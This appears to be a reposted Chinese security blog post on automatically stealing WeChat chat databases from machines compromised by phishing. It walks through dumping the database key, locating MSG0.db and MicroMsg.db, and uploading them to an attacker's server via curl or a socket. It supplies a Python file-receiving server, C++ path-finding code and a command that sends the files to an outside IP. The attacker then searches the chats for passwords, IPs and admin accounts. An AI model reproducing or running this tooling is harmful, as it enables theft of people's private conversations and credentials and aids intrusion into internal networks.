微信聊天记录之自动化回传

admin 2022年11月4日11:04:23评论162 views字数 3671阅读12分14秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


场景

钓鱼攻击(通过钓鱼/微信控到的机器通常都是登录状态)

渗透到运维机器(有些运维机器会日常登录自己的微信)
实战中钓鱼时常在微信聊天记录中找到目标内网系统账号、机器账号密码,尽可能的不触发大量扫描告警下在内网中精准打到跳板机,文章仅供学习使用。

手动

1、获取微信数据库密钥,回传DBpass.bin,项目地址。
https://github.com/Ormicron/Sharp-dumpkey
微信聊天记录之自动化回传

2、下载目标聊天数据库文件,默认保存目录在以下目录,超出240MB会自动生成MSG1.db,以此类推。

 c:UserxxxxDocumentsWechat Files wxid_xxxxxMsgMulti
wxid_xxxxxxxxMsgMultiMSG0.db > 聊天记录wxid_xxxxxxxxMsgMultiMSG1.db > 聊天记录wxid_xxxxxxxxMsgMultiMSG2.db > 聊天记录wxid_xxxxxxxxMsgMicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxxMsgMediaMsg.db > 语音 > 格式为silk
微信聊天记录之自动化回传


3.将上面三个文件回传到同目录,配合ChatViewTool打开解密即可查看,在搜索处administrator” “root” “密码” “ip等”,项目地址。

https://github.com/Ormicron/chatViewTool
微信聊天记录之自动化回传

自动化

看网上用的是根据注册表获取微信默认位置,其中需要微信id,通过基址和偏移可以得到,如果上线权限较低无法操作注册表或杀软hook就很尴尬了


这里用FindFirstFile遍历全盘指定文件后缀,如MSG0.db,MicroMsg.db文件压缩打包并通过curl后台运行上传到服务器。(curl.exe win10默认自带,可以上传一个或者引用C++第三方库),项目地址。

https://github.com/c1y2m3/FileSearch

服务端接收文件

使用curl将打包压缩的文件上传Put到文件服务器,example:python http_server.py 8 /opt/rh

参考链接:

https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
#!/usr/bin/env python
"""Extend Python's built in HTTP server to save files"""import osimport loggingimport systry: import http.server as serverexcept ImportError: # Handle Python 2.x import SimpleHTTPServer as server
log_path = 'run_server_logs.log'logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_path)class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
def do_GET(self): self.send_response(404) self.wfile.write("404 Not Found")
"""Extend SimpleHTTPRequestHandler to handle PUT requests""" def do_PUT(self): """Save a file following a HTTP PUT request""" filename = os.path.basename(self.path)
# Don't overwrite files if os.path.exists(filename): self.send_response(409, 'Conflict') self.end_headers() reply_body = '"%s" already existsn' % filename self.wfile.write(reply_body.encode('utf-8')) return
file_length = int(self.headers['Content-Length']) output_file = 'tmp.txt' with open(filename, 'wb') as output_file: output_file.write(self.rfile.read(file_length)) self.send_response(201, 'Created') self.end_headers() reply_body = 'Saved "%s"n' % filename logging.info(self.headers) self.wfile.write(reply_body.encode('utf-8'))
if __name__ == '__main__': if sys.argv[2:]: os.chdir(sys.argv[2]) server.test(HandlerClass=HTTPRequestHandler)

最终效果

FileSearchPlus.exe default xxx.xxx.xxx.xxx

微信聊天记录之自动化回传


改进

微信聊天记录之自动化回传


注:实战中发现全盘查找微信db在c2中非常拉跨,查找等待时间较长,且盘符越多越慢

1、直接读取注册表的键值,wxid关键字匹配拼接路径(碰到用户自设的路径,需要加个指定路径去)

微信聊天记录之自动化回传
void getPath(char *dbpath){  char cmd_command[256] = { 0 };  char regname[] = "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders";  HKEY hKey;  DWORD dwType = REG_BINARY;  REGSAM mode = KEY_READ;  DWORD length = 256;  int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);
ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length); strcat(dbpath, "\WeChat Files"); //cout << dbpath << endl;
if (ret == 0) { RegCloseKey(hKey); } else { printf("failed to open regedit.%dn", ret); }}
void getFileNames(string path, vector<string>& files){  intptr_t hFile = 0;  //文件信息  struct _finddata_t fileinfo;  string p;  string::size_type idx;
if ((hFile = _findfirst(p.assign(path).append("\*").c_str(), &fileinfo)) != -1) { do { //如果是目录,匹配文件夹 if ((fileinfo.attrib & _A_SUBDIR)) { if (strstr(fileinfo.name, "wxid") != NULL) files.push_back(p.assign(path).append("\").append(fileinfo.name)); }
} while (_findnext(hFile, &fileinfo) == 0); _findclose(hFile); }}
2、传输改成socket协议,支持大文件上传,效率很快,需要启动个Server socket

微信聊天记录之自动化回传


3、远程拉取基址,考虑到免杀性改成了C++代码,参考。

https://github.com/Ormicron/Sharp-dumpkey

微信聊天记录之自动化回传


文章来源:c1y2m3博客原文地址:https://c1y2m3.github.io/2022/10/14/微信聊天记录之自动化回传/


关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

微信聊天记录之自动化回传 还在等什么?赶紧点击下方名片关注学习吧!微信聊天记录之自动化回传


推 荐 阅 读




微信聊天记录之自动化回传
微信聊天记录之自动化回传
微信聊天记录之自动化回传

微信聊天记录之自动化回传

原文始发于微信公众号(潇湘信安):微信聊天记录之自动化回传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月4日11:04:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   微信聊天记录之自动化回传https://cn-sec.com/archives/1390409.html

发表评论

匿名网友 填写信息